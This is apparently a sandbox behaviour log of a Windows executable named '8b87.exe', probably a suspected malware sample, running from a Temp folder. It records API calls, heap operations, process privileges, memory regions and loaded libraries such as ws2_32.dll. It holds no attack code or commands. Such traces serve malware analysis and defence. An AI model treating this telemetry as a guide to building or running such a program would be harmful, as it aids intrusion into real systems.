¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽\\\烝ퟳ䒱≷, cchWideChar=256, lpMultiByteStr=0x19fa2c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿH\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02h\x02(\x02(\x02(\x02(\x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02 \x02H\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x84\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x81\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x01\x03\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x10\x02\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x82\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x02\x03\x10\x02\x10\x02\x10\x02\x10\x02 \x02", lpUsedDefaultChar=0x0) returned 256 [0167.610] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1250) returned 1 [0167.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1250 | out: hHeap=0x5e0000) returned 1 [0167.611] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1018) returned 1 [0167.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e1018 | out: hHeap=0x5e0000) returned 1 [0167.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x824) returned 0x5e1018 [0167.612] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x42c630) returned 0x0 [0172.329] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e2c20) returned 1 [0172.329] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e2c20) returned 1 [0172.330] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e2c20) returned 1 [0172.330] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e2c20) returned 1 [0172.330] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e2c20) returned 1 [0172.331] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e2c20) returned 1 [0172.331] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e2c20) returned 1 [0172.331] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e2c20) returned 1 [0172.332] HeapValidate (hHeap=0x5e0000, dwFlags=0x0, lpMem=0x5e2c20) returned 1 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.332] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.333] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.334] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.335] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.336] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.337] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.338] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 [0172.339] GetLastError () returned 0x0 Process: id = "6" image_name = "8b87.exe" filename = "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\8b87.exe" page_root = "0x108e1000" os_pid = "0x1338" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0x618" cmd_line = "C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87.exe" cur_dir = "C:\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f4cd" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4108 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4109 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4110 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 4111 start_va = 0x60000 end_va = 0x61fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 4112 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4113 start_va = 0x400000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 4114 start_va = 0xe40000 end_va = 0x12e9fff monitored = 1 entry_point = 0x12e7e80 region_type = mapped_file name = "8b87.exe" filename = "\\Users\\RDHJ0C~1\\AppData\\Local\\Temp\\8B87.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\8b87.exe") Region: id = 4115 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4116 start_va = 0x7ff5fffd0000 end_va = 0x7ff5ffff2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5fffd0000" filename = "" Region: id = 4117 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4146 start_va = 0x6b0000 end_va = 0x7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 4147 start_va = 0x7ffd4d670000 end_va = 0x7ffd4d857fff monitored = 0 entry_point = 0x7ffd4d69ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4148 start_va = 0x7ffd4e1c0000 end_va = 0x7ffd4e26cfff monitored = 0 entry_point = 0x7ffd4e1d81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4149 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4150 start_va = 0x7ff5ffed0000 end_va = 0x7ff5fffcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff5ffed0000" filename = "" Region: id = 4156 start_va = 0x70000 end_va = 0x12dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4157 start_va = 0x7ffd4a880000 end_va = 0x7ffd4a8f8fff monitored = 0 entry_point = 0x7ffd4a89fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 4169 start_va = 0x7ff5ffe50000 end_va = 0x7ff5ffecdfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4493 start_va = 0x7ffd4e480000 end_va = 0x7ffd4e526fff monitored = 0 entry_point = 0x7ffd4e4958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4494 start_va = 0x7ffd4df00000 end_va = 0x7ffd4df9cfff monitored = 0 entry_point = 0x7ffd4df078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4495 start_va = 0x7b0000 end_va = 0x9affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000007b0000" filename = "" Region: id = 4496 start_va = 0x7ffd4e160000 end_va = 0x7ffd4e1bafff monitored = 0 entry_point = 0x7ffd4e1738b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4497 start_va = 0x7ffd4da60000 end_va = 0x7ffd4db7bfff monitored = 0 entry_point = 0x7ffd4daa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4502 start_va = 0x130000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 4503 start_va = 0x20000 end_va = 0x26fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4512 start_va = 0x7ffd4c590000 end_va = 0x7ffd4c59afff monitored = 0 entry_point = 0x7ffd4c5919a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4513 start_va = 0x7ffd4d860000 end_va = 0x7ffd4d8c9fff monitored = 0 entry_point = 0x7ffd4d896d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 4514 start_va = 0x130000 end_va = 0x136fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 4515 start_va = 0x160000 end_va = 0x16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 4520 start_va = 0x7ffd4b250000 end_va = 0x7ffd4b272fff monitored = 0 entry_point = 0x7ffd4b253670 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 4525 start_va = 0x7ffd4e9d0000 end_va = 0x7ffd4eb25fff monitored = 0 entry_point = 0x7ffd4e9da8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4526 start_va = 0x7ffd4d8d0000 end_va = 0x7ffd4da55fff monitored = 0 entry_point = 0x7ffd4d91ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4527 start_va = 0x7ffd4aa40000 end_va = 0x7ffd4aa6bfff monitored = 0 entry_point = 0x7ffd4aa48210 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 4532 start_va = 0x7ffd4cb80000 end_va = 0x7ffd4cbc2fff monitored = 0 entry_point = 0x7ffd4cb94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 4539 start_va = 0x170000 end_va = 0x1a8fff monitored = 0 entry_point = 0x1712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4540 start_va = 0x9b0000 end_va = 0xb37fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009b0000" filename = "" Region: id = 4541 start_va = 0x7ffd4e2e0000 end_va = 0x7ffd4e31afff monitored = 0 entry_point = 0x7ffd4e2e12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4554 start_va = 0x140000 end_va = 0x140fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 4555 start_va = 0x150000 end_va = 0x150fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 4556 start_va = 0xb40000 end_va = 0xcc0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b40000" filename = "" Region: id = 4557 start_va = 0x12f0000 end_va = 0x26effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000012f0000" filename = "" Region: id = 4558 start_va = 0x7ffd4e270000 end_va = 0x7ffd4e2dafff monitored = 0 entry_point = 0x7ffd4e2890c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 7312 start_va = 0x170000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 7313 start_va = 0x1b0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 7314 start_va = 0xcd0000 end_va = 0xdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000cd0000" filename = "" Region: id = 7315 start_va = 0x26f0000 end_va = 0x2eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000026f0000" filename = "" Region: id = 7316 start_va = 0x2ef0000 end_va = 0x6eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 7317 start_va = 0x6ef0000 end_va = 0x26eeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006ef0000" filename = "" Region: id = 7627 start_va = 0xc000000000 end_va = 0xc0003fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000c000000000" filename = "" Region: id = 7628 start_va = 0x26ef0000 end_va = 0x276effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000026ef0000" filename = "" Region: id = 7629 start_va = 0x1d0000 end_va = 0x1f1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 7731 start_va = 0x276f0000 end_va = 0x277effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000276f0000" filename = "" Region: id = 7835 start_va = 0x600000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 7836 start_va = 0x610000 end_va = 0x61ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000610000" filename = "" Region: id = 8366 start_va = 0x7ffd4cb10000 end_va = 0x7ffd4cb5afff monitored = 0 entry_point = 0x7ffd4cb135f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 9537 start_va = 0x620000 end_va = 0x65ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 9538 start_va = 0x277f0000 end_va = 0x279effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000277f0000" filename = "" Region: id = 9539 start_va = 0x279f0000 end_va = 0x27beffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000279f0000" filename = "" Region: id = 9540 start_va = 0x27bf0000 end_va = 0x27deffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000027bf0000" filename = "" Region: id = 9547 start_va = 0x27df0000 end_va = 0x27feffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000027df0000" filename = "" Region: id = 10352 start_va = 0x660000 end_va = 0x69ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 13557 start_va = 0x7b0000 end_va = 0x80bfff monitored = 0 entry_point = 0x7c6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 13558 start_va = 0x6a0000 end_va = 0x6a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006a0000" filename = "" Region: id = 13559 start_va = 0x810000 end_va = 0x810fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 13560 start_va = 0x27ff0000 end_va = 0x283eafff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000027ff0000" filename = "" Thread: id = 148 os_tid = 0xe4c [0193.516] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="WriteFile") returned 0x7ffd4e1edcc0 [0193.517] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="WriteConsoleW") returned 0x7ffd4e1ee050 [0193.517] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="WaitForMultipleObjects") returned 0x7ffd4e1ed820 [0193.517] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="WaitForSingleObject") returned 0x7ffd4e1ed840 [0193.517] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="VirtualQuery") returned 0x7ffd4e1e3c10 [0193.517] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="VirtualFree") returned 0x7ffd4e1e32a0 [0193.517] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="VirtualAlloc") returned 0x7ffd4e1e28c0 [0193.517] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SwitchToThread") returned 0x7ffd4e1de370 [0193.517] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SuspendThread") returned 0x7ffd4e1e6730 [0193.517] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="Sleep") returned 0x7ffd4e1db7b0 [0193.517] GetProcAddress (hModule=0x7ffd4e1c0000, lpProcName="SetWaitableTimer") returned 